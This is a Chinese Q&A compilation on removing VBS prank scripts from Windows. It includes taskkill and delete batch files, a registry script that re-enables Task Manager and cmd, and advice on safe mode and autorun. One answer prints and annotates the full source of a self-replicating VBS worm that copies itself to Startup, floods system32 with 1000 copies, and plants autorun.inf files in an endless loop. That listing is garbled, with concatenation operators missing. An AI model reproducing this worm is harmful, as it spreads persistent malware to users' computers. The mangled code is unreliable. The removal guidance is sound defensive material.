本文目录一览：
你的那个vbs整人代码要怎么解啊
vbs靠wscript.exe运行，在任务管理器里找到wscript.exe进程，把它结束掉，就可破解vbs整人代码。如果是开机自启动的，从启动里删除快捷方式。若要根除直接删除.vbs文件。如果要杜绝类似代码，禁用wscript。
VBS编程如何破解
保存下面的vbs代码并运行即可。
'====代===码===开===始============
set s=createobject("wscript.shell")
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
s.SendKeys "^+{ESC}"
s.run "cmd /c taskkill /f /im wscript.exe"
'====代===码===结===束=============
博图vbs加密可以破解吗
一般是很难破解的
vbs脚本法：SetWshShell=Wscript.CreateObject("Wscript.Shell")，WshShell.RegDelete"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\PendingFileRenameOperations"，SetWshShell=Nothing将上面的脚本保存到文本文件里，文本文件扩展名由txt改名为vbs即可。
vbs文件执行的时候，双击即可。双击后再尝试安装软件，如果不再有重启提示，即为成功。
如何破解VBS开机自启动
我只能跟你说Windows 2000 XP 和2003 了..Windows98 我没弄过. 开机狂按 F8,出现菜单的时候选择进入安全模式, 进去后,把你写的vbs脚本删除,然后重启就好了.安全模式不加载任何自启动项目.只加载系统运行的一些核心驱动.还有一种方法我没亲自试验过就是在开机登录界面之前按住shift键也能禁止一部分程序自动运行,你也可以试试.
VBS一段代码破解
修改：此为解决方法的补充部分
此vbs在“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”生成vbs.vbs
找到他删掉
每个盘都会生成autorun.inf vbs.vbs 游戏.vbs 文件，因为有autorun.inf文件，而你又没有从组策略中“关闭自动播放”时打开任何一个盘都会执行vbs.vbs文件，打开我的电脑后，单击搜索右边的文件夹，此时可以从左边树形浏览进入各个盘，此方法不会执行vbs.vbs，删掉每个盘里的autorun.inf vbs.vbs 游戏.vbs 文件，之后到c:\windows\system32下查看是否有成千个有5个字母加一个1到1000的vbs文件，有的话全删掉，从代码分析应该会产生的，但是我的电脑并没有此症状，c:\windows\system32下没有这些文件，前两个症状都有。
当你删完autorun.inf时，可能每个盘双击都打不开，我的是这样，我呢，就从组策略（开始-运行-输入gpedit.msc确定），有两项，1计算机配置-管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”2.用户配置--管理模块-系统-右侧窗口找到 “关闭自动播放”更改属性为“已启用”“所有驱动器”，此时就可以打开各个盘了，能打开盘后在打开组策略将“关闭自动播放”更改为“未配置”即恢复了自动播放功能。
解决方法：
1.在桌面新建文本文件123a.txt改名为123a.bat右键编辑输入下列代码
taskkill /f /im wscript.exe
pause
保存
双击运行，此时vbs程序被关闭
打开C盘，保持任务管理器开着，看进程栏是否有wscript.exe进程有的话，再执行一下123a.bat文件，（因为有
autorun.inf文件，打开C盘时可能运行vbs.vbs程序）
依次打开到C:\WINDOWS\system32目录看看里面是不是有成千个vbs后缀的文件，文件名头两个字母为大写其次3个为小写再
加一个1到1000的数字.vbs
2.桌面新建文本文件del123.txt改名为del123.bat右键编辑输入下列代码
del 5个字母*.vbs
pause
"5个字母更"换为C:\WINDOWS\system32目录下vbs的头5个字母，*代替数字1~1000
例如
del RYzie*.vbs
pause
因为你可能已经重启过数次电脑，此时目录下会产生不同5个字母加1~1000数字的vbs文件，替换要删除的vbs文件头5个字
母到bat文件中，替换一次执行一次，直到删完为止
3.手动删除C:根目录下的autorun.inf VBS.vbs 游戏.vbs 文件
4.最后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs的文件删掉就大功告成了
可以在结束了wscript.exe进程后将C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs
的VBS.vbs右键编辑将其中代码全删掉保存成空文件，C:\VBS.VBS也如此，这样他就不会再执行了，因为循环语句判断的是
是否存在vbs.vbs文件名而不是里面的内容，有个空文件他就不会执行复制操作了。之后在删掉它就行了。
下面是代码解释部分
Dim fso,SELF,filename,x1,x2,x3,ADName,DName
on error resume next
Set fso = CreateObject("scripting.filesystemobject")
SELF = WScript.ScriptFullName
If Not fso.FileExists("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs") Then
fso.CopyFile SELF,"C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs"
End If
'*****************
'**如果“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”处没有VBS.vbs，就将正在运行的假如
你运行的文件为a.vbs,会将a.vbs复制到上面的路径处改名为vbs.vbs,每次电脑启动vbs.vbs都会随开机运行
'****************
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filenamex2
'****90为大写字母Z的ascii值65为大写字母A的ascii码值，上述代码是产生一个A~Z之间的大写字母给变量x2，将x2放入
filename变量中
Randomize
x3=Int((90 - 65 + 1) * Rnd + 65)
x2=chr(x3)
filename=filenamex2
'****90为大写字母Z的ascii值65为大写字母A的ascii码值，上述代码是产生一个A~Z之间的大写字母给变量x2，加到
filename后面，即现在filename有两个随机的大写字母组成
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filenamex2
'******122为小写字母z,97为小写字母a同上
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filenamex2
Randomize
x3=Int((122 - 97 + 1) * Rnd + 97)
x2=chr(x3)
filename=filenamex2
'*****到此为止filename变量有开头两个大写字母大写字母和后三个随机小写字母组成共5个字母
For x1=1 To 1000
fso.copy SELF,"C:\WINDOWS\system32\"filenamex1".vbs"
'*********复制正在运行的vbs文件到"C:\WINDOWS\system32"目录下名字为filename里的5个随机字母加上1到1000数字形
'成的文件名，例如DYirm1.vbs DYirm2.vbs DYirm3.vbs ...DYirm1000.vbs共生成1000个vbs文件，由于是随机字母，所
以每次你重新启动电脑时
'都会执行C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\VBS.vbs文件，启动一
次"C:\WINDOWS\system32"内就对1000个文件他的头两个字母为大写且是随机的，后三个为小写也是随机的最后加数字
Next
Do
Set ADName=fso.Drives
For Each DName In ADName
If DName.DriveType=2 Then
'****drivetype=2为C盘
If Not fso.FileExists(DName"\autorun.inf") Then
fso.CreateTextFile(DName"\autorun.inf")
fso.OpenTextFile(DName"\autorun.inf",2).WriteLine("[AutoRun]")
fso.OpenTextFile(DName"\autorun.inf",8).WriteLine("ShellExecute=VBS.vbs")
fso.OpenTextFile(DName"\autorun.inf",8).Close
End If
'****在C盘建立autorun.inf文件，此文件中代码ShellExecute=VBS.vbs会使你打开C盘时运行c:\VBS.vbs文件
If Not fso.FileExists(DName"\VBS.vbs") Then
fso.CopyFile SELF,DName"\VBS.vbs"
End If
'***复制运行的vbs保存到C:\VBS.vbs
If Not fso.FileExists(DName"\游戏.vbs") Then
fso.CopyFile SELF,DName"\游戏.vbs"
End If
'***复制运行的vbs保存到C:\游戏.vbs
End if
Next
loop
'******无限循环，当他发现C盘中autorun.inf VBS.vbs 游戏.vbs 被删除，就会重新生成相应文件